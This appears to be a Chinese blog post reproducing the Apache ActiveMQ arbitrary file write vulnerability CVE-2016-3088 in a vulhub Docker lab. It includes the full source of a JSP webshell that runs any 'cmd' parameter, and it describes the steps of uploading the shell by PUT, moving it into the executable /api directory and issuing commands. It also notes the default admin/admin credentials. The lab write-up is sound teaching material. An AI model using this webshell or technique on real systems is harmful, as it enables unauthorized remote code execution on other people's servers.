ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

漏洞详情
漏洞说明#
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
漏洞危害#
使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码
漏洞编号#
CVE-2016-3088
影响范围#
Apache ActiveMQ 5.x ~ 5.14.0
修复建议#
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除
建议用户升级至 5.14.0 及其以后版本

实验环境
攻击机:windows10
靶机:CentOS Linux 7
项目地址:
https://github.com/vulhub/vulhub

基础环境搭建
查看我以前的博客自行搭建

实验环境搭建
项目地址

`https://github.com/vulhub/vul`hub

下载后上传至任意目录,进入目录

vulhub-master/vulhub-master/activemq/CVE-2016-3088

启动docker编译

docker-compose up -d

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递,浏览器访问http://192.168.91.133:8161/,如下图可以看到成功搭建环境。默认的用户名/密码为admin/admin
在这里插入图片描述
复现步骤
1.PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件
在这里插入图片描述
1.jsp文件内容:

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

2、浏览器访问http://192.168.10.149:8161/fileserver/1.jsp,下图可以看到fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限
在这里插入图片描述
3、首先要知道绝对路径在哪:

访问http://192.168.91.133:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:
在这里插入图片描述
4.接下来通过move方法,将木马文件移动到api或者admin:
在这里插入图片描述
5.接下来访问木马:http://192.168.91.133:8161/api/1.jsp?cmd=ls
在这里插入图片描述
上图可以看到成功解析!

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值